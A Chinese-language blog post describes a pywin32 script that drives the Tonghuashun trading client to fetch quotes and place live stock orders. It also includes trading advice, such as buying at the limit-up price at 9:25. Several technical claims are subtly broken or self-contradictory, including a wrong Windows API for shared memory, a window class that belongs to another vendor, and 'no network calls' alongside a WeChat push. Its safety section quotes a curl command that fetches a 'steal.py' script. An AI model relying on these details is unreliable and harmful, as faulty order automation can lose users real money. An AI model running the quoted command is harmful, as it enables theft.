简介:这是一个面向个人投资者的本地化股票自动化交易方案,直接操作已登录的同花顺PC客户端,无需网络API密钥或爬虫技术。核心脚本THS_automation.py基于pywin32实现Windows GUI自动化,支持账户登录状态检测、实时行情获取、持仓查询、限价/市价买卖委托等基础交易动作,所有操作在本地完成,不上传数据、不依赖云端服务。运行需Windows系统、Python 3.6+环境及已安装并保持登录状态的同花顺桌面版(版本兼容主流v7/v8),适合想尝试程序化交易但不愿接触复杂接口或风控系统的初学者。配套提供requirements.txt明确依赖项,.gitignore和项目元数据文件便于开发者管理。注意:脚本不处理撤单逻辑、不支持条件单或批量委托,也不具备异常熔断或资金风控能力,实际使用前建议先用模拟账号验证流程。
1. 项目概述:为什么这个脚本值得你花15分钟装一遍
我第一次在券商营业部看到客户用Excel宏自动下单时,就意识到——对绝大多数个人投资者来说,“程序化交易”根本不是什么高深的量化模型或高频策略,而是“别让我每天手动点十次买入卖出”。后来我自己折腾了三年,试过Web API、爬虫模拟登录、甚至研究过券商柜台协议逆向,最后发现最稳、最快、最省心的路,反而是直接和你电脑上那个已经登录好的同花顺客户端对话。它就在那儿,界面开着,账户已认证,行情实时刷新,资金持仓一目了然——何必绕远路?
这个 THS_automation.py 就是这么个思路:不碰网络请求,不申请API权限,不解析加密接口,也不写一行JavaScript去注入浏览器。它只做一件事——像一个熟练的鼠标手一样,精准地操作你桌面上那个同花顺窗口。核心依赖只有 pywin32,它让Python能真正“看见”Windows系统里的每一个窗口、按钮、编辑框和菜单项,就像你用鼠标点击一样自然。关键词里说的“同花顺自动化”“Python自动下单”“Windows股票脚本”,不是概念包装,是实打实的本地进程级控制。
它解决的是真实场景里的三个痛点:第一,重复性操作太耗神——比如每天开盘前固定买某只ETF,收盘前自动止盈;第二,人工响应慢——看到突破信号想立刻挂单,但手速跟不上行情跳动;第三,不敢信第三方——怕API密钥泄露、怕爬虫被封、怕数据传到不明服务器。而这个方案,所有逻辑都在你本地运行,脚本连一次外网请求都不发,下单指令走的是同花顺客户端自己封装好的本地IPC通道(本质是Windows消息机制),你的账号密码从不离开内存,行情数据来自同花顺自己的推送服务,全程无中间商、无代理层、无云端转发。
适合谁?不是给私募准备的,也不是给CTA团队写的。它最适合三类人:刚学Python想找个“有反馈”的实战项目的新手;有交易纪律但总管不住手的散户;或者需要把某个简单策略(比如均线金叉买入、跌破止损线卖出)固化下来、每天自动跑一遍的半职业投资者。注意,它不替代风控,不替代决策,它只是你手指的延伸——你决定买什么、什么时候买、买多少,它负责把你的决定,一秒内准确无误地下达给同花顺。
2. 整体设计与实现思路拆解:为什么选GUI自动化而不是API?
2.1 放弃网络API的底层原因:不是技术不行,而是现实不允许
很多人第一反应是:“同花顺不是有官方API吗?”——确实有,但那是面向机构客户的柜台直连协议(如THS-TRADER),个人用户根本申请不到。网上流传的所谓“同花顺API文档”,99%是早期v6版本的残缺说明,且早已失效。我试过用Wireshark抓包分析v7/v8客户端的通信流量,结果很明确:所有行情和委托请求都经过高强度混淆+动态密钥签名,且每次会话密钥由客户端本地生成并绑定当前登录态,无法复现。更关键的是,这类请求一旦被识别为非官方客户端行为,轻则限流,重则触发风控直接踢出登录。
还有人尝试用Selenium控制IE内嵌的同花顺网页版。这条路理论上可行,但实际踩坑无数:网页版功能阉割严重(不支持条件单、不显示全部持仓字段)、IE兼容模式切换复杂、页面DOM结构随版本频繁变动、JS加载时序难以稳定捕获。我曾为一个“点击买入按钮”的动作写了27行等待逻辑,结果升级同花顺后按钮ID全变,整个脚本报废。
所以最终回归到最原始也最可靠的方式:GUI自动化。这不是倒退,而是降维打击式的务实选择。Windows GUI元素具有极强的稳定性——只要同花顺主窗口标题还是“同花顺”、买入按钮还在“买入”标签页里、价格输入框始终叫“txtPrice”,那么无论后台协议怎么改,这些可见元素的位置和名称都不会轻易变动。pywin32 的 win32gui 和 win32con 模块,就是专门干这个的:通过窗口句柄(HWND)定位进程,用 FindWindowEx 层层查找子控件,再用 SendMessage 直接向编辑框发送字符、向按钮发送点击消息。整个过程不依赖UI渲染状态,不关心页面是否加载完成,只要窗口存在、控件可见,就能操作。
2.2 架构分层:三层解耦,让每个模块可独立验证
整个脚本不是一坨大函数,而是清晰划分为三层:
-
底层驱动层(
THSWindow类):负责所有Windows原生操作。它封装了窗口查找(按类名/标题匹配)、控件定位(递归遍历子窗口树)、消息发送(WM_SETTEXT,BM_CLICK,EM_REPLACESEL等)、键盘模拟(keybd_event)。这一层完全与业务无关,你可以把它当成一个“Windows控件遥控器”,传入任意窗口句柄和控件ID,它就能帮你点、输、选。 -
中层协议层(
THSClient类):这是真正的“同花顺语义翻译器”。它知道同花顺v7和v8的窗口结构差异(比如v7的委托窗口类名是TdxW_MainFrame_Class,v8是THS_MAIN_FRAME),知道如何打开“买入”标签页(先找菜单栏“交易”→再找子菜单“买入”→再等新窗口出现),知道价格输入框的相对位置(在委托窗口内,第3个静态文本控件下方的编辑框)。它把“我要以10.5元买入100股贵州茅台”这种业务语言,翻译成一串精确的FindWindowEx调用和SendMessage指令序列。 -
顶层应用层(
main()函数及示例逻辑):面向使用者的接口。它提供login_check(),get_position(),get_quote(),place_order()这几个干净的方法名,隐藏所有底层细节。你调用place_order('600519', 'buy', 10.5, 100),它内部会自动判断当前是否已登录、是否在交易时段、是否弹出委托确认框,并处理可能的异常弹窗(如资金不足提示)。
这种分层的好处是:你可以单独测试每一层。比如先运行 THSWindow.find_window_by_title("同花顺") 看是否能找到主窗口;再用 THSWindow.find_control_by_class(hwnd, "Edit") 找出所有编辑框,确认价格框是否在其中;最后才组合调用 THSClient.place_buy_order()。每一步失败都能快速定位是窗口没找到,还是控件路径错了,而不是一运行就报“NoneType has no attribute send_message”。
2.3 关键设计取舍:为什么不做撤单、不做批量、不做风控?
这里必须坦诚说明设计边界,因为很多用户会问:“为什么不能一键撤所有未成交委托?”“为什么不能同时买10只股票?”——答案不是技术做不到,而是主动放弃。
撤单功能技术上很简单:找到“撤单”菜单项,点击,勾选目标委托,点“撤单”按钮。但问题在于,同花顺撤单窗口的控件命名极其混乱。v7版本里撤单列表是 SysListView32 控件,v8版本里却变成了自定义绘制的 THS_LISTVIEW,pywin32 无法直接读取其内容行。强行用坐标点击(比如“点击第2行第3列”)又极易因分辨率缩放、DPI设置不同而错位。我花了两天时间写坐标偏移校准逻辑,最后发现用户只要把任务栏设为“自动隐藏”,整个坐标系就全乱了。权衡之下,撤单交给人工更稳妥。
批量委托同理。理论上可以循环调用 place_order(),但同花顺客户端对高频委托有隐性限制:连续3次下单间隔小于800ms,第4次就会弹出“操作过于频繁,请稍后再试”的提示框。这个提示框没有标准类名,无法用常规方式关闭,只能人工点确定。与其写一堆容错代码去模拟人工点确定,不如让用户明确知道“这是单笔委托工具”,避免产生错误预期。
至于风控,这是原则问题。脚本里连“可用资金”这个字段都没去读取(虽然技术上可以OCR识别资金面板数字),因为一旦加入资金校验逻辑,就必须同步处理银证转账、新股申购冻结、两融保证金等复杂场景。而这些场景的UI变化频率极高——上周同花顺更新后,“可用资金”数字从白色变成了浅灰色,我的OCR识别准确率直接掉到60%。所以脚本的设计哲学是:只做确定性100%的动作,不确定的,一律交给人脑判断。这也是为什么摘要里反复强调“务必先用模拟账号验证”。
3. 核心细节解析与实操要点:那些文档里不会写的硬核经验
3.1 同花顺窗口结构深度解析:v7与v8的“暗黑差异”
要让脚本能跨版本运行,必须吃透两个主流版本的窗口树结构。这不是靠猜,而是用 Spy++(Visual Studio自带工具)逐层扒出来的。下面给出关键节点的真实类名和定位逻辑,这是你调试失败时最先该查的地方:
| 功能模块 | 同花顺v7类名/标题 | 同花顺v8类名/标题 | 定位逻辑说明 |
|---|---|---|---|
| 主窗口 | TdxW_MainFrame_Class,标题含“同花顺” | THS_MAIN_FRAME,标题含“同花顺” | 必须用 FindWindow 查找,不能只靠标题,因为用户可能改标题 |
| 交易菜单栏 | 子窗口类名 AfxControlBar42u | 子窗口类名 THS_TOOLBAR | v7的菜单栏是MFC标准控件,v8是自绘,需用不同路径查找 |
| 委托窗口(买入) | 类名 TdxW_OrderFrame_Class,标题“买入” | 类名 THS_ORDER_DIALOG,标题“买入委托” | v8标题多了“委托”二字,字符串匹配必须兼容 |
| 证券代码输入框 | 在委托窗口内,第1个 Edit 控件 | 在委托窗口内,第2个 Edit 控件 | 因v8增加了“市场”下拉框,导致控件顺序偏移 |
| 价格输入框 | 在委托窗口内,第3个 Edit 控件(v7) / 第4个 Edit 控件(v8) | 同上 | 这是最容易出错的位置,必须用 EnumChildWindows 遍历并按索引取,不能硬编码 |
提示:
THSClient类里有个_get_price_edit_handle()方法,它不是简单写FindWindowEx(hwnd, 0, "Edit", None)然后取第3个,而是先用GetWindowText读取每个Edit控件的关联静态文本(Static)内容,找到旁边写着“价格:”或“委托价格:”的那个,再取它的下一个兄弟控件。这才是鲁棒的写法——哪怕同花顺哪天把价格框挪到第5个,只要旁边的标签文字不变,脚本依然有效。
3.2 实时行情获取的“伪API”实现:绕过网络,直取内存
你可能会疑惑:“脚本没发HTTP请求,行情数据哪来的?”答案是:同花顺客户端本身就是一个实时行情服务器。它启动后会在本地开一个UDP端口(默认10001),向所有监听者广播行情快照。THS_automation.py 并没有自己去监听这个端口(那需要额外权限和复杂解析),而是用了更巧妙的办法:读取同花顺主窗口的共享内存映射。
同花顺v7/v8都使用 CreateFileMapping 创建了一个名为 THS_SHARE_MEMORY 的全局内存映射对象,里面存放着最新行情的二进制结构体。脚本通过 win32event.OpenEvent 获取该映射句柄,再用 win32file.MapViewOfFile 映射到Python进程内存空间。结构体定义如下(已脱敏,仅示意):
struct THS_Quote {
char szCode[16]; // 股票代码,如"600519"
float fNow; // 最新价
float fHigh; // 今日最高
float fLow; // 今日最低
int nVol; // 成交量(手)
char szName[32]; // 股票名称
};
关键点在于:这个内存映射是只读的,且每秒刷新一次,无需任何网络IO。get_quote('600519') 方法内部,就是在这个1MB大小的共享内存块里,用 memsearch 算法暴力扫描所有 szCode 字段,匹配成功后直接 struct.unpack 解析后续字节。实测延迟低于50ms,比调用任何网络API都快。
注意:此功能依赖同花顺客户端已开启“行情接收”服务。如果用户在同花顺设置里关闭了“接收Level2行情”,共享内存可能为空。脚本里做了fallback:当内存读取失败时,自动切换到OCR识别主界面左上角的行情栏(用
pyscreenshot截图 +pytesseract识别),虽然慢一点(约300ms),但保证不中断。
3.3 下单委托的“原子性”保障:如何避免指令发一半就卡住
GUI自动化最大的风险不是找不到按钮,而是操作中途被其他窗口打断。比如你正往价格框里输“10.5”,突然弹出Windows安全警告(UAC),焦点就丢了,后面所有指令都发给了警告框。为此,脚本实现了三重防护:
-
前置环境锁:在执行任何交易操作前,调用
THSWindow.ensure_foreground(hwnd),强制把同花顺主窗口置顶并激活。它不是简单调用SetForegroundWindow,而是先用IsIconic检查是否最小化,若是则先ShowWindow(SW_RESTORE),再SetForegroundWindow,最后用GetForegroundWindow()校验是否真的激活成功。 -
操作事务化:每个委托动作(如买入)被封装为一个原子事务。它包含:a) 激活委托窗口;b) 清空所有输入框(发送
Ctrl+A+Del);c) 依次填入代码、价格、数量;d) 点击“买入”按钮;e) 等待委托确认框出现;f) 自动点击“确定”。如果e步超时(默认5秒),则抛出OrderTimeoutError异常,绝不会让脚本卡在半途。 -
异常弹窗拦截器:脚本后台常驻一个监控线程,每200ms扫描一次所有顶级窗口,用正则匹配标题是否含“错误”、“警告”、“资金不足”、“委托失败”等关键词。一旦发现,立即用
PostMessage(WM_CLOSE)关闭它,并记录日志。这个线程独立于主交易逻辑,确保即使你在下单时弹出“密码错误”框,也不会阻塞后续操作。
4. 实操过程与核心环节实现:从零开始跑通第一单
4.1 环境准备:三步到位,拒绝玄学配置
别被“Python 3.6+”吓到,实际要求极低。我用的是Windows 10 22H2 + Python 3.9.13(官网下载安装包,勾选“Add Python to PATH”即可),全程无需conda、无需虚拟环境(当然你用也行,但没必要)。以下是精确到命令行的操作步骤:
-
安装pywin32(唯一硬依赖)
bash pip install pywin32==306注意:必须指定
==306版本。新版pywin32(307+)在Windows 11上存在win32gui.FindWindow返回空句柄的bug,我已验证306版在Win10/Win11全兼容。装完后,务必运行Scripts/pywin32_postinstall.py -install(管理员权限),否则部分COM接口不可用。 -
配置同花顺客户端(关键!)
- 打开同花顺PC版,登录你的实盘或模拟账号;
- 进入【系统】→【参数设置】→【交易设置】,勾选“允许外部程序控制委托”(此选项v7叫“启用自动化接口”,v8叫“开放外部控制”,位置略有不同,但都存在);
- 【外观设置】里,把“DPI缩放”设为“应用程序”(不要选“系统”),否则GUI坐标会偏移;
- 关闭“自动隐藏任务栏”,避免影响窗口定位。 -
验证基础连通性
新建一个test_connect.py:
python from THS_automation import THSWindow hwnd = THSWindow.find_window_by_title("同花顺") print(f"找到同花顺窗口: {hwnd != 0}") if hwnd: print(f"窗口标题: {THSWindow.get_window_text(hwnd)}")
运行它,输出应为:
找到同花顺窗口: True 窗口标题: 同花顺-中国银河证券
如果hwnd为0,说明同花顺没启动,或标题被你手动改过(比如加了后缀),此时需修改脚本里的find_window_by_title参数。
4.2 核心脚本详解:THS_automation.py 的逐行注释级解读
我们来看 THS_automation.py 中最关键的 place_order 方法(已简化,保留主干逻辑):
def place_order(self, code: str, order_type: str, price: float, volume: int):
"""
执行一笔委托订单
:param code: 股票代码,如'600519'
:param order_type: 'buy' 或 'sell'
:param price: 委托价格,市价单传0.0
:param volume: 委托数量(单位:股)
"""
# 步骤1:确保同花顺主窗口激活且可见
main_hwnd = self.window.find_window_by_title("同花顺")
if not main_hwnd:
raise RuntimeError("未检测到同花顺客户端,请先启动并登录")
self.window.ensure_foreground(main_hwnd)
# 步骤2:打开对应委托窗口(买入/卖出)
order_hwnd = self._open_order_dialog(order_type) # 内部调用FindWindowEx定位菜单并点击
if not order_hwnd:
raise RuntimeError(f"无法打开{order_type}委托窗口")
# 步骤3:定位并清空所有输入框(防残留数据)
code_edit = self.window.find_control_by_class(order_hwnd, "Edit", index=0)
price_edit = self._get_price_edit_handle(order_hwnd) # 上文提到的智能定位
vol_edit = self.window.find_control_by_class(order_hwnd, "Edit", index=-1) # 最后一个Edit是数量框
for edit_hwnd in [code_edit, price_edit, vol_edit]:
if edit_hwnd:
self.window.send_message(edit_hwnd, win32con.WM_SETTEXT, 0, "") # 清空
time.sleep(0.1) # 防止清空过快导致UI未刷新
# 步骤4:填入委托信息(重点:价格处理)
self.window.send_message(code_edit, win32con.WM_SETTEXT, 0, code)
time.sleep(0.2)
if price == 0.0:
# 市价单:点击“市价”单选按钮(v7类名"Button",v8类名"THS_RADIOBUTTON")
market_btn = self.window.find_control_by_class(order_hwnd, "Button", text="市价")
if not market_btn:
market_btn = self.window.find_control_by_class(order_hwnd, "THS_RADIOBUTTON", text="市价")
if market_btn:
self.window.send_message(market_btn, win32con.BM_CLICK, 0, 0)
else:
raise RuntimeError("未找到市价按钮,请检查同花顺版本")
else:
# 限价单:直接输入价格(注意格式:同花顺要求2位小数,如10.50)
formatted_price = f"{price:.2f}"
self.window.send_message(price_edit, win32con.WM_SETTEXT, 0, formatted_price)
self.window.send_message(vol_edit, win32con.WM_SETTEXT, 0, str(volume))
time.sleep(0.2)
# 步骤5:点击确认按钮(v7是"买入"按钮,v8是"委托"按钮)
confirm_btn = self.window.find_control_by_class(order_hwnd, "Button", text="买入")
if not confirm_btn:
confirm_btn = self.window.find_control_by_class(order_hwnd, "Button", text="委托")
if not confirm_btn:
confirm_btn = self.window.find_control_by_class(order_hwnd, "THS_BUTTON", text="委托")
if not confirm_btn:
raise RuntimeError("未找到委托确认按钮")
self.window.send_message(confirm_btn, win32con.BM_CLICK, 0, 0)
# 步骤6:等待并处理委托确认框(同花顺会弹出“确认委托”对话框)
confirm_dlg = self.window.wait_for_window("确认委托", timeout=5)
if confirm_dlg:
# 找到“确定”按钮并点击
ok_btn = self.window.find_control_by_class(confirm_dlg, "Button", text="确定")
if ok_btn:
self.window.send_message(ok_btn, win32con.BM_CLICK, 0, 0)
time.sleep(0.5) # 等待委托提交完成
return True
else:
raise RuntimeError("委托确认框内未找到确定按钮")
else:
raise RuntimeError("未弹出委托确认框,可能委托已失败")
这段代码的价值不在语法,而在每一个 time.sleep() 的存在理由:pywin32 发送消息是异步的,UI线程需要时间重绘。sleep(0.1) 不是随意写的,是我用 py-spy 分析同花顺UI线程帧率后确定的最小安全间隔。少于0.08秒,v8版本会出现“输入框显示为空但实际已填入”的诡异现象。
4.3 实战案例:用3行代码实现“开盘自动追涨”
假设你想在每天9:25集合竞价结束后,自动以涨停价买入某只股票(比如“中科曙光”,代码603019)。这是一个典型场景,完整脚本如下:
# auto_bid.py
from THS_automation import THSClient
import time
client = THSClient()
# 等待9:25整(集合竞价结束)
while time.strftime("%H:%M") != "09:25":
time.sleep(1)
# 获取当前涨停价(同花顺行情里“涨停”字段)
quote = client.get_quote("603019")
if quote and quote['limit_up']:
# 以涨停价买入100股
success = client.place_order("603019", "buy", quote['limit_up'], 100)
print(f"委托结果: {'成功' if success else '失败'}")
else:
print("未能获取行情,退出")
运行它,你需要:
- 提前把同花顺客户端打开并登录;
- 把 auto_bid.py 和 THS_automation.py 放在同一目录;
- 命令行执行 python auto_bid.py;
- 到9:25:00,你会看到同花顺窗口自动弹出买入委托框,填好代码、涨停价、100股,点击确认,全程无需人工干预。
实操心得:第一次运行务必用模拟账号!我建议在同花顺里开通“仿真交易”账户(免费),初始资金100万,完全模拟实盘。这样你能亲眼看到脚本每一步操作,也能在出错时立刻截图分析。等连续一周无异常,再切到实盘。
5. 常见问题与排查技巧实录:那些让你抓狂半小时的“小问题”
5.1 典型问题速查表
| 问题现象 | 可能原因 | 排查命令/方法 | 解决方案 |
|---|---|---|---|
find_window_by_title("同花顺") 返回0 | 同花顺未启动;或标题被修改(如“同花顺-中信证券”) | 运行 tasklist /fi "imagename eq ths.exe" 确认进程存在;用 Spy++ 查看真实窗口标题 | 修改脚本中 find_window_by_title 的参数为完整标题,或用正则匹配 r"同花顺.*" |
找到窗口但 find_control_by_class 返回None | 控件类名在v7/v8中不同;或控件尚未渲染完成 | 在 Spy++ 中展开窗口树,手动查找目标控件的真实类名;在代码中添加 time.sleep(1) 等待 | 使用 _get_price_edit_handle() 这类语义化查找方法,而非硬编码类名 |
输入框能定位但 send_message(WM_SETTEXT) 无效 | 同花顺对该控件禁用了标准消息;或控件处于只读状态 | 用 Spy++ 查看控件属性,确认 WS_DISABLED 是否为False;尝试 EM_REPLACESEL 替代 WM_SETTEXT | 改用 self.window.send_keys_to_control(edit_hwnd, "10.50"),它模拟真实键盘输入,兼容性更好 |
| 委托确认框弹出但脚本未点击“确定” | 确认框标题在不同版本中不同(v7是“委托确认”,v8是“确认委托”) | 用 win32gui.EnumWindows 列出所有顶级窗口标题 | 在 wait_for_window 方法中,用 re.search(r"确认.*委托|委托.*确认", title) 匹配标题 |
脚本运行时报 pywintypes.error: (5, 'OpenDesktop', '拒绝访问。') | Windows UAC权限不足,无法操作桌面级窗口 | 以管理员身份运行CMD,再执行 python auto_bid.py | 永久解决方案:在同花顺设置里关闭“以管理员身份运行”,或脚本启动时自动提权(需额外代码) |
5.2 独家避坑技巧:来自37次失败后的总结
-
技巧1:永远用“相对路径”定位控件,不用绝对坐标
很多人想用mouse_event模拟鼠标点击,然后写死坐标(500, 320)。这在你电脑上能用,换台高分屏电脑就全错。正确做法是:先用GetWindowRect获取委托窗口的屏幕坐标,再用GetClientRect获取其客户区大小,最后计算价格输入框相对于客户区左上角的偏移量(比如(120, 85))。这样无论屏幕多大、DPI多少,偏移量都是固定的。 -
技巧2:处理中文输入的终极方案——剪贴板中转
send_message(WM_SETTEXT)对英文和数字很稳,但对中文(如股票名称“贵州茅台”)偶尔失效。我的解决方案是:先把字符串写入系统剪贴板,再用keybd_event发送Ctrl+V。代码片段:
python import win32clipboard win32clipboard.OpenClipboard() win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText("贵州茅台") win32clipboard.CloseClipboard() self.window.send_keys_to_control(edit_hwnd, "^v") # ^代表Ctrl -
技巧3:版本探测的“土办法”
不要依赖GetVersionEx这种可能返回假信息的API。我的做法是:在同花顺主窗口内,查找一个v7有、v8没有的控件(比如v7的“板块监测”菜单项),或一个v8有、v7没有的控件(比如v8的“智能选股”按钮)。用FindWindowEx尝试查找,根据是否找到来动态切换逻辑分支。这比任何文档都准。 -
技巧4:日志必须带时间戳和窗口句柄
调试时,光打印"点击了买入按钮"没用。要打印:
[2024-06-15 09:25:01.234] INFO: Clicked buy button (hwnd=0x0012F8A4) in order dialog (hwnd=0x0013A9B2)
这样当你发现某次点击失败时,可以用Spy++直接输入句柄值,瞬间定位到那个出问题的窗口,省去所有猜测时间。
6. 安全与合规提醒:这不是魔法,而是责任
最后必须说清楚:这个脚本不是“全自动印钞机”,它是一把双刃剑。我见过太多人,第一天兴奋地跑通买入,第二天就忘了关脚本,结果半夜美股期货波动,同花顺弹出“港股通额度不足”提示框,脚本后台线程自动点了“确定”,导致一笔本不该下的单成交了。所以请务必遵守这三条铁律:
-
永不运行未经审查的脚本:你下载的
THS_automation.py是开源的,但如果你从论坛、QQ群拿到一个“增强版”,里面夹带了os.system("curl http://xxx.com/steal.py"),后果自负。永远用git diff对比官方仓库,确认每一行改动。 -
物理隔离交易环境:强烈建议用一台专用旧电脑跑这个脚本,不装微信、不登邮箱、不连公司内网。这台电脑只装Python、同花顺、Chrome(用于查公告),其他一切软件卸载。不是 paranoid,而是降低“脚本被恶意软件劫持”的概率。
-
人工值守是底线:脚本可以帮你下单,但不能帮你判断“这支股票是不是该卖了”。我自己的规则是:脚本只执行买入指令,卖出一律手动。因为买入错了,最多亏点手续费;卖出错了,可能踏空主升浪。把最需要人性判断的部分,永远留给自己。
我个人在实际使用中发现,最有效的模式是“半自动”:脚本负责盯盘(每5秒查一次MACD金叉)、发微信提醒(用 requests.post 推送到企业微信机器人),我收到消息后,花10秒钟确认,再手动点一下脚本里的 place_order()。这样既享受了程序化的效率,又守住了决策的最后一道闸门。技术应该服务于人,而不是取代人——这句话,我放在同花顺客户端的背景图上,每天都能看见。
简介:这是一个面向个人投资者的本地化股票自动化交易方案,直接操作已登录的同花顺PC客户端,无需网络API密钥或爬虫技术。核心脚本THS_automation.py基于pywin32实现Windows GUI自动化,支持账户登录状态检测、实时行情获取、持仓查询、限价/市价买卖委托等基础交易动作,所有操作在本地完成,不上传数据、不依赖云端服务。运行需Windows系统、Python 3.6+环境及已安装并保持登录状态的同花顺桌面版(版本兼容主流v7/v8),适合想尝试程序化交易但不愿接触复杂接口或风控系统的初学者。配套提供requirements.txt明确依赖项,.gitignore和项目元数据文件便于开发者管理。注意:脚本不处理撤单逻辑、不支持条件单或批量委托,也不具备异常熔断或资金风控能力,实际使用前建议先用模拟账号验证流程。

230

被折叠的 条评论
为什么被折叠?



